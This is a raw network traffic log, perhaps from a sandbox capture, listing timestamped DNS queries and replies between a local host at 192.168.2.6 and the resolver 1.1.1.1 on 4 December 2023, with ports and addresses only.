Dec 4, 2023 12:33:41.023478031 CET	53	50412	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:41.032423019 CET	49229	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:41.225610971 CET	53	49229	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:41.339059114 CET	65407	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:41.440057993 CET	53	65407	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:41.447338104 CET	62585	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:41.698391914 CET	53	62585	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:41.807188988 CET	53063	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:42.143490076 CET	53	53063	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:42.153012037 CET	60377	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:42.486537933 CET	53	60377	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:42.604387999 CET	64213	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:42.704771042 CET	53	64213	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:42.710419893 CET	60432	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:42.810146093 CET	53	60432	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:42.932626009 CET	55606	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:43.265389919 CET	53	55606	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:43.275921106 CET	59398	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:43.608602047 CET	53	59398	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:43.729048967 CET	64009	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:43.924737930 CET	53	64009	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:43.934108019 CET	52678	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:44.128334045 CET	53	52678	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:44.244910002 CET	55150	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:44.437745094 CET	53	55150	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:44.440457106 CET	62955	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:44.641249895 CET	53	62955	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:44.760700941 CET	59218	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:45.103075981 CET	53	59218	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:45.111109972 CET	49790	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:45.463345051 CET	53	49790	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:45.573700905 CET	64358	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:45.885082960 CET	53	64358	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:45.895410061 CET	62940	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:45.993086100 CET	53	62940	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:46.104804993 CET	63881	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:46.923248053 CET	53	63881	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:46.941577911 CET	55838	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:47.264946938 CET	53	55838	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:47.385437965 CET	59083	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:47.483172894 CET	53	59083	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:47.683697939 CET	56797	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:47.783410072 CET	53	56797	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:47.901319027 CET	60260	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:47.998986006 CET	53	60260	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:49.612886906 CET	63695	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:49.886192083 CET	53	63695	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:50.744728088 CET	49464	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:50.841433048 CET	53	49464	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:50.852482080 CET	51377	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:51.041625977 CET	53	51377	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:51.150580883 CET	55831	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:51.345144033 CET	53	55831	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:51.351829052 CET	59920	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:51.545145035 CET	53	59920	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:51.650700092 CET	58265	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:52.024035931 CET	53	58265	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:52.030689955 CET	62565	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:52.224350929 CET	53	62565	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:52.338779926 CET	60820	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:52.532699108 CET	53	60820	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:52.538692951 CET	55784	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:52.736607075 CET	53	55784	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:52.853517056 CET	62692	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:53.196541071 CET	53	62692	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:53.207355022 CET	61889	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:53.559214115 CET	53	61889	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:53.697350979 CET	49987	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:53.885102034 CET	53	49987	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:53.901930094 CET	52801	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:54.278454065 CET	53	52801	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:54.386205912 CET	53556	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:54.487736940 CET	53	53556	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:54.697254896 CET	59007	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:55.170527935 CET	53	59007	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:56.025444031 CET	58050	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:56.126485109 CET	53	58050	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:56.136969090 CET	56778	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:56.236095905 CET	53	56778	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:56.353682995 CET	63165	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:56.459471941 CET	53	63165	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:56.465399981 CET	58476	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:56.562922955 CET	53	58476	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:56.681649923 CET	62344	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:56.871112108 CET	53	62344	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:56.876739979 CET	50216	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:57.067941904 CET	53	50216	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:57.181729078 CET	55089	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:57.280878067 CET	53	55089	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:57.457851887 CET	60914	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:57.637734890 CET	53	60914	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:58.494265079 CET	64347	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:58.591548920 CET	53	64347	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:58.600935936 CET	55125	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:58.697700977 CET	53	55125	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:58.807029963 CET	57055	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:59.000037909 CET	53	57055	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:59.013247967 CET	61687	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:59.202936888 CET	53	61687	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:59.341110945 CET	60220	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:59.439368963 CET	53	60220	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:59.454602003 CET	56293	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:33:59.552299976 CET	53	56293	1.1.1.1	192.168.2.6
Dec 4, 2023 12:33:59.667270899 CET	58237	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:00.020865917 CET	53	58237	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:00.041085005 CET	53310	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:00.392385960 CET	53	53310	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:00.494491100 CET	58648	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:00.805933952 CET	53	58648	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:00.815330029 CET	50991	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:01.362413883 CET	53	50991	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:01.509898901 CET	52175	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:01.703304052 CET	53	52175	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:01.715895891 CET	55186	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:01.905298948 CET	53	55186	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:02.009922981 CET	50124	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:02.254599094 CET	53	50124	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:02.259788990 CET	51336	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:02.359318018 CET	53	51336	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:02.474204063 CET	56522	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:02.846921921 CET	53	56522	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:02.867737055 CET	64149	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:02.963272095 CET	53	64149	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:03.072607994 CET	57264	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:03.327825069 CET	53	57264	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:03.542598009 CET	56316	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:04.155618906 CET	53	56316	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:05.012382984 CET	59024	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:05.120908022 CET	53	59024	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:05.629196882 CET	54432	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:06.447062016 CET	53	54432	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:07.260154009 CET	55390	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:07.454262018 CET	53	55390	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:07.457211971 CET	62593	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:07.648468018 CET	53	62593	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:07.762547970 CET	54949	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:08.016165972 CET	53	54949	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:08.025384903 CET	59075	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:08.279035091 CET	53	59075	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:08.387806892 CET	57419	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:08.485073090 CET	53	57419	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:08.491156101 CET	59740	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:08.679533005 CET	53	59740	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:08.791138887 CET	54979	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:09.060853004 CET	53	54979	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:09.266681910 CET	56613	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:09.534280062 CET	53	56613	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:10.384953976 CET	52935	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:10.649914980 CET	53	52935	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:10.872081995 CET	50481	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:10.968008995 CET	53	50481	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:11.806914091 CET	64147	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:12.095252991 CET	53	64147	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:12.103871107 CET	50321	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:12.292326927 CET	53	50321	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:12.400623083 CET	53106	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:12.508102894 CET	53	53106	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:12.521084070 CET	62183	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:12.619302988 CET	53	62183	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:12.728753090 CET	60024	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:12.837238073 CET	53	60024	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:12.844706059 CET	51335	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:12.940038919 CET	53	51335	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:13.058454990 CET	63501	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:13.246474028 CET	53	63501	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:13.255664110 CET	65048	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:13.449289083 CET	53	65048	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:13.557878017 CET	57654	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:13.893498898 CET	53	57654	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:13.905785084 CET	57447	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:14.251924038 CET	53	57447	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:14.369165897 CET	52583	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:14.467398882 CET	53	52583	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:14.477083921 CET	50256	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:14.801016092 CET	53	50256	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:14.916565895 CET	57510	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:15.109292984 CET	53	57510	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:15.116085052 CET	53399	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:15.307766914 CET	53	53399	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:15.416024923 CET	49751	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:15.516959906 CET	53	49751	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:15.528284073 CET	64536	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:15.846267939 CET	53	64536	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:15.965456963 CET	61688	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:16.154112101 CET	53	61688	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:16.168323994 CET	54285	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:16.356323957 CET	53	54285	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:16.479939938 CET	55126	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:16.580807924 CET	53	55126	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:16.598959923 CET	59997	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:16.701497078 CET	53	59997	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:16.807082891 CET	53776	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:17.001616955 CET	53	53776	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:17.010576963 CET	64701	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:17.209538937 CET	53	64701	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:17.328798056 CET	53426	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:17.577163935 CET	53	53426	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:17.590449095 CET	57711	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:17.688766956 CET	53	57711	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:17.807281017 CET	59606	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:18.624236107 CET	53	59606	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:18.629111052 CET	51153	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:19.396136045 CET	53	51153	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:19.526287079 CET	53028	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:19.715348959 CET	53	53028	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:19.720077991 CET	61865	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:19.816256046 CET	53	61865	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:19.932096004 CET	49751	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:20.094516039 CET	53	49751	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:20.283699036 CET	49773	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:20.738217115 CET	53	49773	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:21.119626045 CET	49623	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:21.590019941 CET	53	49623	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:22.072458029 CET	61821	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:22.425426006 CET	53	61821	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:22.442207098 CET	49239	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:22.792622089 CET	53	49239	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:23.010634899 CET	50814	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:23.109364033 CET	53	50814	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:24.596462965 CET	62898	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:24.692276955 CET	53	62898	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:25.541234016 CET	62178	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:25.639626980 CET	53	62178	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:25.659454107 CET	51820	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:25.757833004 CET	53	51820	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:25.869816065 CET	50229	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:26.113523006 CET	53	50229	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:26.323714018 CET	60606	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:26.511336088 CET	53	60606	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:27.401107073 CET	57005	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:27.498847961 CET	53	57005	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:27.518322945 CET	59104	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:27.613647938 CET	53	59104	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:27.728899956 CET	59580	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:27.828320980 CET	53	59580	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:27.843548059 CET	50443	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:28.030561924 CET	53	50443	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:28.135004044 CET	65471	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:28.232971907 CET	53	65471	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:28.255883932 CET	62824	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:28.355809927 CET	53	62824	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:28.463222027 CET	59968	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:28.782855988 CET	53	59968	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:28.802325964 CET	65239	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:28.899147987 CET	53	65239	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:29.010576010 CET	59383	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:29.107460976 CET	53	59383	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:29.295802116 CET	53786	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:29.568316936 CET	53	53786	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:30.435833931 CET	54816	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:30.625083923 CET	53	54816	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:30.646667957 CET	53087	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:30.838818073 CET	53	53087	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:30.947278023 CET	57342	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:31.046076059 CET	53	57342	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:31.064207077 CET	52903	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:31.162827015 CET	53	52903	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:31.277690887 CET	56180	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:31.374754906 CET	53	56180	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:31.392318010 CET	54675	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:31.589375973 CET	53	54675	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:31.699501991 CET	54605	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:32.074598074 CET	53	54605	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:32.093863964 CET	54577	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:32.294836044 CET	53	54577	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:32.400585890 CET	57341	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:32.691587925 CET	53	57341	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:32.712955952 CET	65012	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:32.903476954 CET	53	65012	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:33.009810925 CET	61766	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:33.107956886 CET	53	61766	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:33.125049114 CET	57854	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:33.940361977 CET	53	57854	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:34.056684017 CET	64120	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:34.307801008 CET	53	64120	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:34.330598116 CET	59008	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:34.581765890 CET	53	59008	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:34.697355032 CET	52565	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:34.793890953 CET	53	52565	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:34.811345100 CET	54202	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:34.907638073 CET	53	54202	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:35.009942055 CET	52637	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:35.107311964 CET	53	52637	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:35.292268991 CET	52222	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:35.475306988 CET	53	52222	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:36.338227987 CET	58118	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:36.674166918 CET	53	58118	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:36.694714069 CET	55449	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:37.026911020 CET	53	55449	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:37.135052919 CET	50067	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:37.324960947 CET	53	50067	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:37.333133936 CET	52387	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:37.526546955 CET	53	52387	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:37.635682106 CET	62453	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:37.980882883 CET	53	62453	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:38.015450001 CET	60329	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:38.368390083 CET	53	60329	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:38.478519917 CET	65437	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:38.576426029 CET	53	65437	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:38.579097033 CET	62229	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:38.904438019 CET	53	62229	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:39.010304928 CET	62986	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:39.110501051 CET	53	62986	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:39.325551987 CET	60335	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:39.515325069 CET	53	60335	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:40.354264975 CET	55554	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:40.825994015 CET	53	55554	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:40.841428041 CET	62946	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:41.034162045 CET	53	62946	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:41.150865078 CET	57548	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:41.249247074 CET	53	57548	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:41.454782009 CET	61287	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:41.633023977 CET	53	61287	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:42.500257969 CET	64257	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:42.600311995 CET	53	64257	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:42.610600948 CET	63076	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:42.706691027 CET	53	63076	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:42.823231936 CET	63053	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:42.922722101 CET	53	63053	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:42.950028896 CET	53246	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:43.049458981 CET	53	53246	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:43.166461945 CET	61313	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:43.356615067 CET	53	61313	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:43.396787882 CET	62474	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:43.493520021 CET	53	62474	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:43.619539976 CET	62238	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:43.961507082 CET	53	62238	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:43.980266094 CET	63664	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:44.330094099 CET	53	63664	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:44.448307037 CET	62756	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:44.546360016 CET	53	62756	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:44.568648100 CET	57870	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:44.765311003 CET	53	57870	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:44.869385004 CET	51084	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:44.967989922 CET	53	51084	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:44.985506058 CET	59996	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:45.080961943 CET	53	59996	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:45.197398901 CET	52385	53	192.168.2.6	1.1.1.1
Dec 4, 2023 12:34:45.294464111 CET	53	52385	1.1.1.1	192.168.2.6
Dec 4, 2023 12:34:45.503140926 CET	51009	53	192.168.2.6	1.1.1.1
